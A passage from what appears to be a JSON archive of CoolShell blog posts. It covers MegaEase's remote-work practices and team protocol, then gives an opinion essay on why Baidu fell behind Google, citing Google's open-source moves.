target=\"_blank\">软件团队的两种管理方式</a>》一文所说的一样，远程团队工作更倾向于“电影工作组”式的每个人都是leader的知识密集型的团队。</p>\n<h4>微观实践</h4>\n<p>在远程工作中，我们需要有很多的微观操作来让大家能够更好的进行远程工作。因为远程工作也有一些问题（但是方法总比问题多，不是吗？）</p>\n<ul>\n<li><strong>文档驱动</strong>。首先，远程的问题就是沟通不方便了，集中化的办公一群人可以在白板上进行讨论，然后远程工作这个事就变成很复杂了。所以，当要讨论什么事的时候，需要发起人先写一个文档，然后大家在这个文档上进行讨论（我们通常使用Github的issue，Pull Request或Google Doc）。另外，写文档的好处太多了，除了给后人有一个可以追溯的东西，更重要的是，写作是一种深度思考，当你把你脑子里想的东西写下来的时候，你就会发现你的思考更多了。所以，文档驱动我们团队能力非常重要的事。</li>\n</ul>\n<ul>\n<li><strong>自动化和简化</strong>。自动化和简化是我平时追得最多的东西了，从软件的Unit Test, Functional Test, Performance Test 一直到用Kubernetes进行自动化部署，我要求的就是从一提交完代码后就自动化的上线。我们玩的是Amazon的“单分支”代码管理的玩法，一旦代码merge上master，就会直接上线（当然需要通过灰度）。因为远程团队如果没有自动化的工具，那么，就会导致整体效率的下降。</li>\n</ul>\n<ul>\n<li><strong>Owner文化</strong>。这个太重要的了，但是，这并不是在说，如果一个事没有owner，就会像“三个和尚”那样，事情就进了没人管的地步。这是因为很多人在工作中都是比较 nice 的，比较 nice 的人通常来说都不好意思跳出来对别人发号施令。所以，Owner 文化就是要求每件事都要定义一个Owner，而这个Owner是有权对其它人发号施令的，其他人也有义务要配合他。当然，Owner 的权利越大，责任也会越大！</li>\n</ul>\n<ul>\n<li><strong>Review文化</strong>。Review文档是一种把知识或是想法传递出去的方式。我们在实践过程中，需要大家把好的想法写下来，这需要包括问题背景、目标、可选的方案（这些方案需要有引用和数据，不能是拍脑袋）、还需要有Pros/Cons的比较。然后再发起讨论。这样，事情在一开始就做好，那么就可以让大家的讨论更加地有效率。<strong>很多人以为开会讨论有个议题就行了，其实不够，有效率的开会讨论需要的是议案，而且还是高质量的议案！</strong></li>\n</ul>\n<ul>\n<li><strong>目标承诺</strong>。我们需要每个人承诺自己的工作目标，这个完全由每个个体来发起、完成。一般来说，每个人自己给自己制定的计划最好是在1-2周内。</li>\n</ul>\n<ul>\n<li><strong>自我管理</strong>。我们的实践是没有审批制度，无论是，休假、报销、出差，完全是自己自由安排，但需要告诉团队（除非在一些关键时期没法休长假，需要整个团队全力以赴），但千万不要撒谎和作弊，一旦发现，直接开除就好了。这个是基于好人更多的原则制定的（没有必要为了少数的坏人一刀切后让所有人痛苦）</li>\n</ul>\n<ul>\n<li><strong>闲聊和自行见面</strong>。见面和不能见面是一件非常不一样的事，在一起工作时，人和人是会有感情的，因为会有闲聊。远程的时候，则只有工作了。所以，我们鼓励团队人员间的私聊，闲聊，互相对方讲讲自己的经历和过往，同时，也鼓励员工自行出差到对方的城市见见跟你一起工作的人，公司报销差旅费。</li>\n</ul>\n<ul>\n<li><strong>知识分享会</strong>。我们每周都有知识分享会，一次只讲半个小时，不贪多，就讲一个小的知识点。然后，团队中的一些人还主动使用Google Form来收集分享的反馈信息。</li>\n</ul>\n<ul>\n<li><strong>就地奖励文化</strong>。我们默认上是没有年终奖，只有就地奖励文化。也就是说，你做的事挣钱了，利润中有70%公司拿走，剩下的30%团队的人就地分掉。这样会让团队里的每个人都会想怎么挣钱，除了可以把精力放到那些能够让用户付费的地方上，更重要的是让团队成员了解一下业务和用户为什么要付费，这个是非常关键的。当然，如果公司没有挣钱，但是员工工作的不错，我们还是会给年终奖的。不挣钱的主要责任是我的，而挣钱的主要功劳是团队的。</li>\n</ul>\n<ul>\n<li><strong>外包支持性的工作</strong>。一些支持性的工作尽可能地使用外包，比如：HR、行政、发工资财务、员工持股、测试人员、定制化开发……这样可以让你的团队更小，更高内聚。更利于远程。</li>\n</ul>\n<ul>\n<li><strong>异步编程</strong>。如果一个项目是从零开始的，对于一个团队来说可能会是无从下手的，这需要有个人（owner）把代码的框架和结构给组织好。然后其他的人进入把坑填了，这样的效率会高很多。另外，不见面的结对编程，完全可以使用异步的方式进行，这其实就是多人干同一个pull request的方式。有Github这样的协议工作，远程编码变得很方便。</li>\n</ul>\n<p>关于我们的远程工具，我们主要是使用：</p>\n<ul>\n<li><strong>开发环境</strong>\n<ul>\n<li><strong>AWS</strong>，我们主要使用AWS，因为我希望团队在使用AWS的时候能够被潜移默化。</li>\n</ul>\n</li>\n<li><strong>协作工具</strong>\n<ul>\n<li><strong>Github</strong>。我们所有跟软件开发的工作都会在Github上，我们重度使用 Github 的 pull request 和 issue，也会使用 Github Project 里的看板和 Wiki。</li>\n<li><strong>Google全家桶</strong>。我们重度使用 Google，Google Group、Google Driver、Google Docs 主要是一些各式各样的文档。</li>\n</ul>\n</li>\n<li><strong>通讯工具</strong>\n<ul>\n<li><strong>语音沟通</strong>。主要是使用Zoom，因为Zoom不但可以支持几十人在线，还可以云录制。如果小范围交流的话，一般使用微信语音。</li>\n<li><strong>工作沟通</strong>。主要是使用Slack，Slack作为一个信息集散地，可以分频道，可以分thread讨论，微信注是个渣。</li>\n<li><strong>吹水群</strong>。我司的吹水群主要是Telegram，因为比微信好太多了……</li>\n</ul>\n</li>\n</ul>\n<p>你会发现，我们的工具有好些都是在墙外的，是的，因为墙内的同类的工作实在是太难用了，没办法不用。而且，<strong>我倾向于让大家用上最先进的工具，这样我们团队中的每个人的品味才会被这些好的工具潜移默化</strong>。</p>\n<h4>远程工作协议</h4>\n<p>下面是我们的远程工作协议（无删减），这是每一个远程工作人员需要同意并做到的协议（其中有 Amazon Leadership Principles 的影子），目前在 v1.3 版，未来还会更新，我现在把它晒出来，也希望得到更好的建议！</p>\n<p> </p>\n<h1>MegaEase 远程工作团队协作协议 v1.3</h1>\n<h2><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#principles\" id=\"user-content-principles\"></a>Principles</h2>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#0ownership--leadership\" id=\"user-content-0ownership--leadership\"></a>0）Ownership &amp; Leadership</h3>\n<p>每个人都是Owner，都是Leader， 如果看到团队或是项目有问题的时候，不要等，也不忍，请马上说出来，并给出相应的方案， <strong>自己跳出来召集开会，及时调整。不要闷在那里，自己憋！</strong></p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#1initiative\" id=\"user-content-1initiative\"></a>1）Initiative</h3>\n<p>每人个都必需是主动的，都需要自己发起要做的事，或是自己要认领要做的事，如果发现自己没有事情了， <strong>需要学会主动发现问题，主动找到可以improve的地方，创新来源于此</strong>。没有路要学会自己造路！</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#2objectives-oriented\" id=\"user-content-2objectives-oriented\"></a>2）Objectives Oriented</h3>\n<p>每个人都是产品经理，也都是项目经理，每个人都必需把自己的工作和我们大的目标连接在一起，知道什么是重点，重点的东西就是两件事：一）从用户的角度出发，二）从产品的角度出发。 <strong>这意味着我们要随时观察整个产品的样子，而不只是自己这一块东西</strong> 。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#3insists-on-high-standard\" id=\"user-content-3insists-on-high-standard\"></a>3）Insists on High Standard</h3>\n<p>举法其上，得乎其中，举法其中，得乎其下，举法其下，法不得也。我们要坚持用高的标准要求自己，对于高标准的目标不妥协，但是在实施路径和策略上可以妥协。</p>\n<h2><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#practices\" id=\"user-content-practices\"></a>Practices</h2>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#0online\" id=\"user-content-0online\"></a>0）Online</h3>\n<p>工作的时候必需在线。如果不在线了，需要说一下不在线的时长, 目前我们工作的事宜在通讯工具采用Slack， 如果需要请假的情况，如果不是紧急情况，需要<strong>提前一天</strong> 在MegaEase的Slack <em>#random</em> 频道中提前说明。如果是紧急情况，也需要提前在<em>random</em>频道中告知大家。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#1-documentation-driven\" id=\"user-content-1-documentation-driven\"></a>1) Documentation Driven</h3>\n<p>面对面交谈、电话语音、微信、Slack虽然是比较实时的反馈工具，但是只有文档是可以把重要信息给结构化的，而且写文档其实是比起前面的方式来说是更为深度的思考，因为会让你自己审视自己的想法。所以，对于一些重要 “<strong>功能</strong>”、“<strong>流程</strong>”、“<strong>业务逻辑</strong>” 、“<strong>设计</strong>”、“<strong>问题</strong>”，以及“<strong>想法</strong>”，最好都以文档化的方式进行。请使用Github的 wiki、project、issue这些工具或是使用Google Doc.</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#2design-review\" id=\"user-content-2design-review\"></a>2）Design Review</h3>\n<p>对于一些重要的问题或是工作（每个人都能够判断什么是关键问题和工作）， <strong>需要先把自己的想法share出来，而不是先实现</strong> 。</p>\n<p>一个好的 Design 文档需要包括如下项：</p>\n<ul>\n<li><strong>Background</strong>。交待这个事的背景、需求和要解决问题。</li>\n<li><strong>Objectives</strong>。说明这个事的目标和意义。</li>\n<li><strong>Alternative Solutions</strong>。 给出多个解决方案，并能够进行 Pros/Cons 对比。\n<ul>\n<li><strong>Reference</strong>。方案需要有权威引用支持。</li>\n<li><strong>Data</strong>。方案需要有相关数据数据支持。</li>\n</ul>\n</li>\n<li><strong>Conclusion</strong>。结论是什么。</li>\n</ul>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#3-simplication--automation\" id=\"user-content-3-simplication--automation\"></a>3) Simplification &amp; Automation</h3>\n<p>简化和自动化是软件工程所追求的两大目标，简化不是简陋，简化是对事物一种抽象和归纳能力，其能够提升软件的复用能力和扩展性，自动化是工程能力的重要体现，一方面，远程工作中自动化的能力可以让整个团队更高效地协作，另一方面，自动化是规模化的提条件。所以，我们要无时无刻地思考如何简化和自动化现有的事情。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#4review--refactory\" id=\"user-content-4review--refactory\"></a>4）Review &amp; Re-factory</h3>\n<p>无论是代码还是工作都是需要反思和重构的。反思是进步的源泉，项目告一段落时，出现问题时，都应该召集团队做集体反思，把好的东西坚持下去，把不好的东西优化掉。这样才能进步和改进。但是任何的优化措施是可执行的。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#5milestone-commitment\" id=\"user-content-5milestone-commitment\"></a>5）Milestone Commitment</h3>\n<p>对于一个项目，每个人都需要有自己的 milestone 计划， <strong>这个计划最好是在2周以内，1周内是最好的。而且要承诺到</strong> 。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#6evidence-driven\" id=\"user-content-6evidence-driven\"></a>6）Evidence Driven</h3>\n<p>任何讨论和分析都要基于权威的证据、数据或是引用。在我们做设计的时候，或是有争论的时候，说服对方最好的方式就是拿出证据、数据或是权威引用。比如：我的XX设计参考了TCP协议中的XX设计，我的XX观点是基于XX开源软件的实现……如果争论不休就停止争论，然后各自收集和调查自己观点的佐证。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#7demo-day\" id=\"user-content-7demo-day\"></a>7）Demo Day</h3>\n<p>把自己做的东西跟团队做一次实时的演示。这样有助于开发人员从产品角度思考自己的工作。除了演示产品功能，还可以演示算法，设计，甚至代码。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#8-effective-meeting\" id=\"user-content-8-effective-meeting\"></a>8) Effective Meeting</h3>\n<p>会议主要处理三件事：提出议案、发现问题、共识结论。</p>\n<ul>\n<li>会议不仅仅要有议题，最好还有议案。</li>\n<li>会议期间不解决问题，只发现问题，和跟踪问题。</li>\n<li>会议必需要有共识和结论，如果不能达到共识和结论，那就当成问题处理，由问题的负责人跟进问题。</li>\n</ul>\n<p>关于周会或是临时性的团队会议（私下讨论不属于会议），会议组织者需要在事前收集会议议题，其中包括如下分类：</p>\n<ul>\n<li><strong>项目类</strong>：需要事先有项目进度计划表（任何分项最好控制在1-2人周内）</li>\n<li><strong>方案类</strong>：需要事先写好相关的方案和设计才能讨论（参看 Design Review 章节）</li>\n<li><strong>问题类</strong>：需要事先写好相关的问题和解决提案（参看 Design Review 章节）</li>\n<li><strong>决策类</strong>：需要事先写好整事的前因后果以及利弊分析</li>\n<li><strong>信息类</strong>：需要事先写好相关的事宜说明</li>\n</ul>\n<p>组织者需要在周五的时候发出会议议题收集，其中包括：</p>\n<ul>\n<li>自己知道的项目的进度跟进（需要相相关的项目负责人准备相关的项目计划）</li>\n<li>方案和问题类的需要各个项目负责人提出来，并有相关的设计文档可供Review</li>\n<li>信息类和决策类的事宜可以写在Google Doc上，也可以写在 Team 的 Issue 里</li>\n</ul>\n<p>其它负责人可以在会议上加入自己团队的东西，或是要求其他团队提供更多的信息。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#91-2-3-escalation\" id=\"user-content-91-2-3-escalation\"></a>9）1-2-3 Escalation</h3>\n<p>遇到问题的时候，自己一个人处理1小时内没有思路，请找他人小范围讨论，如果与他人2小时内没有结果，请上升到团队范围，如果在团队范围3小时内没有思路，我们就需要借助外部力量了。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#a3ps-update\" id=\"user-content-a3ps-update\"></a>A）3PS Update</h3>\n<p>每个人更新进度的时候，不要只是一个check-in，而是需要更 meaningful 的说一下工作内容，在工作告一段落的时候，希望简单的说一下工作总结。这里的practice是： <strong>3PS – Plan，Proirity，Problem，Summary， – 你的计划是什么？优先级是什么？遇到了什么问题？当前的工作摘要</strong> 。</p>\n<h3><a class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#b-disagree-and-commitment\" id=\"user-content-b-disagree-and-commitment\"></a>B) Disagree and Commitment</h3>\n<p>在我们开发的时候，团队的成员都会有自己风格，必然会对同一个问题产生较大的争议（Disagree），我们鼓励有争议，但是是在团队的决议作出之前。一旦团队形成决议，团队的成员就必须支持这个决议，并在这个方向上做出贡献。</p>\n<p>但是关于决议的形成过程肯定充斥着各种的争论，对于这些争论，我们可以按照下面的Guidline 来处理争议：</p>\n<ul>\n<li>Owner要负责对重大的讨论推进，尽快形成结论。</li>\n<li>在决议过程中，要有纪要，要更新到 Github 相关项目的 Issue 或 Pull Request 里，并且要让整个团队知道，信息平等很重要。</li>\n<li>不要妥协，坚持高的标准。第一标准是工业标准，第二标准是国外的大公司标准（如：google, fb, github, aws…），第三标准才是国内的标准。</li>\n<li>那怕再复杂，只要是标准，就可以说服用户。用户再无理，也不可能反对工业级的标准。</li>\n<li>Release出去的东西，只要被用户用上了，要改就难了，所以要谨慎而果敢。</li>\n</ul>\n<h4>小结</h4>\n<p>远程工作并不是目的，但是远程工作会逼迫管理者面对管理的本质问题。远程工作趋向于找到优秀自驱的人才，守护团队的共同目标，并打造精悍高能的团队，并要求我们在需要沟通和协作的地方使用更为科学和有效的手段，在各个环节中提升工作效率，降低组织内耗……你的团队管理模型是否最优，在远程工作下就会一览无余！远程工作只是一个手段，提升管理水平才是真正的目的！</p>\n<p>（全文完）</p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9156.html\"><img alt=\"《Rework》摘录及感想\" height=\"150\" src=\"../wp-content/uploads/2013/03/rework-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-16 百度为什么掉队了.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21116\" height=\"169\" src=\"../wp-content/uploads/2020/12/baidu-300x169.jpg\" width=\"300\"/>今天早上看到一篇文章《<a href=\"https://new.qq.com/omn/20201215/20201215A06XMN00.html\" rel=\"noopener noreferrer\" target=\"_blank\">百度不要用户</a>》这篇文章里的大意是：百度错过了移动互联网，等反应过来的时候，在2013年猛收购了一些公司来追赶对手或是时代，但都不成功，然后又开始后过来走到技术，大力发展AI，可惜，AI又是一个不是很成熟的事，需要没有上限的投入，而且在短期内看不到盈利的事，然而整个KPI又设计在了盈利上，最后导致内部内耗严重，人才和管理层流失，最终离用户越来越远。</p>\n<p>文章中有一个段落的标题是【做决策的是技术】，其中有话是这样的——</p>\n<blockquote><p>在“重技术、轻运营”的百度，产品的主导权和优先权在技术手里，产品和运营的立项话语权相对轻很多。如果是在 PC 时代，这无可厚非，但在移动互联网时代，这就有很大的问题。</p></blockquote>\n<p>这就是中国这个社会的价值观了，整个社会价值观从本质上来说是不待见技术的——<strong>平时都说技术不重要，但是当有问题出现的的时候，他们都会把问题都推到技术上</strong>。</p>\n<p>虽然我同意这篇文章中大多数观点，但是我对“做决策的是技术造成了问题”有很大的不同意，并不是我是技术人员，我只会站在我的角度上思考问题，而且，这个结论就是错的。</p>\n<p><span id=\"more-21113\"></span></p>\n<p>要证明这个事，我们就需要找一个反例，这个反例就是Google。其实，文章中所有的因为移动互联网出现而对传统互联网造成挑战的问题，Google其实都遇到了，然而，Google却走了一条完全与百度不一样的路。</p>\n<p>当时，Facebook如日中天的时候，Google也有很多人才流失到了Facebook，而Google的所有产品线都受到了来自移动互联网的挑战，人们不再打开电脑了，而且把时间全部放在了手机上，于是，Google的搜索也变得麻烦了，就算Google也做了一个搜索的App，也没人用过。Google还做了Google Plus的社交产品，最终也是以失败告终。除此之外，还有众多的Google产品都在移动互联网下玩完，比如：Google Talk/Hangouts, Google Wave，Google Buzz，Google Reader……还有电商网站Google Checkout, Google Offers……如果你要看Google死掉的产品你可以看一下这个网页 – <a href=\"https://killedbygoogle.com/\" rel=\"noopener noreferrer\" target=\"_blank\">Killed By Google</a> ，一共200多个产品，有好多你都没有听说过。</p>\n<p>另外一方面，Google和百度一样，在云计算方面都没有跟上时代。百度的李彦宏，2010年03月28日，在中国IT领袖峰会上说，“云计算不客气一点讲是新瓶装旧酒，没有新东西”，可见出了战略上的错误。而Google则是云计算的倡导者，Google在云计算上的技术造诣绝对不会比任何一家公司差，但是Google走了一条很曲高和寡的路——Google App Engine，直接跨过IaaS上到PaaS，最终错失市场，现在整合进Google Cloud Platform，提供一整套的多种形式的云服务，尤其是其AI、大数据和数据中心的运营能力，才挽回一点面子，但还是被AWS和Azure抛在后面。而百度那边呢，百度的“百度云”做成了“百度网盘”……</p>\n<p>可以看见，在过去10年，Google还是比较危险的，同样和是搜索引擎起家的百度所面临的风险和危机是一样的——流量入口开始发生转移，导致技术架构和方案也跟着一起转变。但是，今天的Google依然很成功，也是一个破万亿市值的公司，为什么呢？是不是因为Google那边是运营和产品说了算呢？显然不是，如果是那样，Google今天的结局可能和百度也会很类似。</p>\n<p>Google 牛逼的原因有很多，我想在这里重点说几个跟开源有关的产品，让大家感受一下Google是怎么在落后的地方力挽狂澜的，这实在让人细思极恐：</p>\n<ul>\n<li><strong>Chrome浏览器</strong>。Google面对的竞争对手是微软的IE，这个用户入口如果失去了，Google的收入至少少一半（注：今天的天天在做慈善的Bill Gates，当年在浏览器市场上用操作系统垄断的方式把网景和Java都干得痛不欲生，最终引发反垄断诉讼才变得开放一点）。所以，为了要从当时占市场份额98%以上的IE抢市场，开源是一个非常好的策略（当时，还有用户体验，安全性和性能等其它因素）。</li>\n</ul>\n<ul>\n<li><strong>Android 操作系统</strong>。Android 操作系统本质上是为了对抗 Apple和Microsoft，这两个公司在操作系统上耕耘多年，而未来的手机入口成为必争之地，如果Google错失了这个阵地，那么，Google的业务量会受到巨大的影响。所以，Google必需争夺，而且还必需用开源来搞。试想，如果Google的Android不开源的话，今天的智能手机市场很有可能是Apple和Micorsoft/Nokia唱主角了。正因为开源了Android，所以可以让更多的人和企业以Android的方式参与进来，从而对Apple和Microsoft形成真正的对抗。</li>\n</ul>\n<ul>\n<li><strong>Kubernetes &amp; CNCF</strong>。很明显，Kubernetes和后来的CNCF把云计算提升到了另一个层次——不再以资源虚拟化的云设施，而是以应用/服务/API调度为主的云计算。这个真的很猛，其目的主要也是要用一个新的云计算的形式来遏制AWS和Azure的发展，想通过Cloud Native的方式把云计算的游戏规则改变，从而让GCP更好用，另外，其也是开源的，并成立了了开源基金会，似乎是在告诉大众，无产阶级联合起来，对抗巨头。如果Kubernetes像Google的的论文不开源的话，估计也会错失当时竞争异常激烈的容器调度市场。</li>\n</ul>\n<p>开源并不是Google的核心文化，Google有太多的好的东西，他都不开源，Google做死的产品几百个，但宁可放到垃圾桶里，他们也不会开源出来。所以，<strong>Google的开源，其本质上来说，还是为其商业逻辑服务的——为了抢夺别人的市场，为了后来者居上</strong>。</p>\n<p>当然，Google比百度成功的原因还不仅上面这些，上面这些只是想让大家看到Google的思路。这些思路，很明显都是技术的思路，不是运营的思路。Google虽然有技术，但也不是在所有的技术上都有优势，看看人家是怎么在自己并没有优势的地方抢市场的玩法，可能会对理解百度为什么掉队了会有更准确的帮助。</p>\n<p>最后，Wikipedia上有几个和Google有关清单，可以看看。</p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_mergers_and_acquisitions_by_Alphabet\" rel=\"noopener noreferrer\" target=\"_blank\">Google 并购公司的清单</a> – Google 的并了购了240多家公司。</li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Google_products\" rel=\"noopener noreferrer\" target=\"_blank\">Google 的产品清单</a> – Google 的产品簇简直就是一个大杂烩 。</li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Android_apps_by_Google\" rel=\"noopener noreferrer\" target=\"_blank\">Google 的APP清单</a> – 看看Google的APP全家桶，数百个应用。</li>\n</ul>\n<p>看完这些清单，你可能会感觉到，Google 这厮也是什么都在干，所以，死的也很多。但这种大规模试错的产能，并不是任何一个公司都有的。百度和Google的员工数量我在网上找了一下，只能看到2018年的数据，2018年百度有45000人，Google有98000人。人数少了一半，但是产能少了可不只一半。</p>\n<p>另外，你再仔细看一下上面的清单，你会看得出来，Google做的这些产品和方向都有一种浓浓的技术味……而且，你会觉得，在技术上折腾，就算是失败了，也能让人感觉得到这家公司和团队不会差……</p>\n<p>与《百度不要用户》这篇文章中所说的，百度的问题是“技术人员话语太强”，我觉得百度的问题是，不再做技术了……而公司出现了混乱的思维方式，无论是不是技术人员，谁都不会思考和做决定了……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3561.html\"><img alt=\"HTML5 logo 发布\" height=\"150\" src=\"../wp-content/uploads/2011/01/html5-logo-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3561.html\">HTML5 logo 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/16910.html\"><img alt=\"Linus：为何对象引用计数必须是原子的\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/16910.html\">Linus：为何对象引用计数必须是原子的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3181.html\"><img alt=\"Eclipse和Vim快捷键桌面\" height=\"150\" src=\"../wp-content/uploads/2010/10/EclipseCanoo1440x900-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3181.html\">Eclipse和Vim快捷键桌面</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/105.html\"><img alt=\"操作系统图形界面发展史(1981-2009)\" height=\"150\" src=\"../wp-content/uploads/2009/03/19-windows-3-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1654.html\"><img alt=\"Richard Feynman, 挑战者号, 软件工程\" height=\"150\" src=\"../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21113.html\">百度为什么掉队了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-18 Go编程模式：切片，接口，时间和性能.html",
